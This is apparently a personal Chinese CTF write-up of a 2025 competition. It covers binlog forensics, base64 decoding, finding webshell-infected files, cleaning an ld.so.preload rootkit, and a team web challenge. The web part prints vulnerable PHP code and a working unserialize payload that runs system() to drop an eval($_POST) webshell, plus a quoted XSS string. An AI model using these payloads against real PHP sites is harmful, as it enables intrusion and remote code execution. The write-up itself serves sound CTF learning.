初赛忘了保存,翻了下文件,决赛的附件题就记得几道,其他的都是在线的,没写wp
决赛做出来个人赛几题(secret、大浪淘金方显英雄本色,其他的就忘记了),个人赛能进前7吧。团队赛两个场景题,各有10个flag,工控环境和测试环境。分别外网打内网打到里面好几层,做代理链之类,很可惜,没做出来后面的。第二个场景要制作字典爆破密码,由于进入后台也没成功写文件,这里就不写了,我做的都是简单的,其他wp是来自QK的
相关附件在:https://github.com/TajangSec/2025_ZJ_TGJ_competition
个人赛
勒索病毒
检查mysql binlog文件,在binlog.000003中有flag
命令:cat /var/lib/mysql/binlog.000003
secret
V20xNGFGb3pkR3RaV0ZKb1dETk9iRmt6Vm5saFdGSTFXREpzZWxneldteGpibXhtWVZjMU1GcFlTbXhqTTFKd1ltMWtPUT09
三次base64
大浪淘金方显英雄本色
每种类型文件都被植入了恶意代码或错误代码,请找出,拼接文件名,md5编码后为flag
要求:Hint2:拼接顺序遵循txt>png>pdf的原则,同种⽂件遵循⾸字⺟⼤写>⾸字⺟⼩写>⾸字⺟数字,a-z/0-9的顺序 Hint3:示例:xxxx.txt,xxxx.png,xxxx.pdf
做完两边还在问我><
我电脑有河马查杀,所以扫了一下直接出来5个含有一句话的png
txt是一个个看的
pdf是很多人搞不出来的地方,这里并不是pdf内容有恶意代码
我用的exiftool .
,然后搜索id时,发现了invalid,总共有五个文件有这个提示
所以这五个就出来了,没想到这题很多人没做出来。
贴一下QK的这题解法
txt: 用cat * ,然后人肉找
异常字符有:
<script>alert(document.cookie)</script>
紫薇小区42号
625311200504206457
15522489864
李丽华
png:用strings可以找到一句话木马
pdf: 用acrobat预览,会发现有5个文件没有预览图
预览图,离谱
运维题(QK太强了)
这题真不会
查看/etc/passwd
,发现恶意用户badguy
,但是删不掉
根据给的提示查看/etc/ld.so.preload
发现libhash.so
,cat一下发现关键字sysproc
将/etc/ld.so.preload
、libhash.so
删除,再ps -ef
查看进程,可以发现sysproc(未删除前面两个文件时该进程不可见)
将sysproc kill
掉,找到文件所在位置,删除文件
随后删除badguy
再次查看check文件时已经有flag了(这里我还盲删了/root/.ssh
,但猜测应该和本题关系不大)
团队赛
WEB1
访问www.zip下载源代码,审计代码
1<?php
2header("content-type:text/html;charset=utf-8");
3include("lib/manager.php");
4
5// 配置项
6define('AUTH_USER', 'admin');
7define('AUTH_PASS', 'admin@123');
8define('SESSION_COOKIE', 'portal_session');
9
10$userInput = isset($_POST['user']) ? $_POST['user'] : die('Access denied: username required');
11$passInput = isset($_POST['pass']) ? $_POST['pass'] : die('Access denied: password required');
12
13if($userInput === AUTH_USER && $passInput === AUTH_PASS) {
14 echo '<script>alert("Authentication successful!")</script>';
15 echo "<h2>Industrial Control Portal</h2>";
16 echo "<p>Authenticated as: " . htmlspecialchars($userInput) . "</p>";
17
18 if(!isset($_COOKIE[SESSION_COOKIE])) {
19 $sessionObj = new PortalUser(AUTH_USER);
20 $encodedData = base64_encode(serialize($sessionObj));
21 setcookie(SESSION_COOKIE, $encodedData, time()+3600, "/", "", false, true);
22 echo "<p>Session initialized</p>";
23 } else {
24 $serializedData = base64_decode($_COOKIE[SESSION_COOKIE]);
25 unserialize($serializedData);
26 }
27
28 echo '<div class="dashboard">
29 <h3>Device Monitoring</h3>
30 <p>Connected devices: 15</p>
31 <p>Firmware version: v3.1.2</p>
32 </div>';
33} else {
34 echo "<script>alert('Invalid credentials!');window.location.href='./index.html';</script>";
35}
36?>
这部分代码表示当用户名密码正确时,会将cookie中的portal_session字段进行反序列化
接下来寻找可执行命令的类,由于auth.php在头部加载了manager.php,重点检查manager.php,找到执行代码类
1<?php
2include("logger.php");
3
4class AccessGreeter {
5 public $greetingCallback;
6
7 public function handleAccess($visitor) {
8 if(isset($this->greetingCallback)) {
9 call_user_func($this->greetingCallback, $visitor);
10 } else {
11 echo "Access granted for " . htmlspecialchars($visitor);
12 }
13 }
14}
15
16class PortalUser {
17 private $userIdentifier;
18 private $accessHandler;
19
20 public function __construct($identifier, $handler = null) {
21 $this->userIdentifier = $identifier;
22 $this->accessHandler = $handler ? $handler : new AccessGreeter();
23 }
24
25 public function __destruct() {
26 $this->accessHandler->handleAccess($this->userIdentifier);
27 }
28}
29
30class EquipmentInterface {
31 public $deviceCode;
32 public $operation;
33
34 public function __wakeup() {
35 if(isset($this->operation)) {
36 call_user_func($this->operation, $this->deviceCode);
37 }
38 }
39}
40?>
最后构造反序列化
1O:18:"EquipmentInterface":2:{s:10:"deviceCode";s:41:"echo "<?php eval($_POST[1]);?>" > 111.php";s:9:"operation";s:6:"system";}
写入cookie执行,完成种马
蚁剑连接,在c:\users\administrator\desktop下找到flag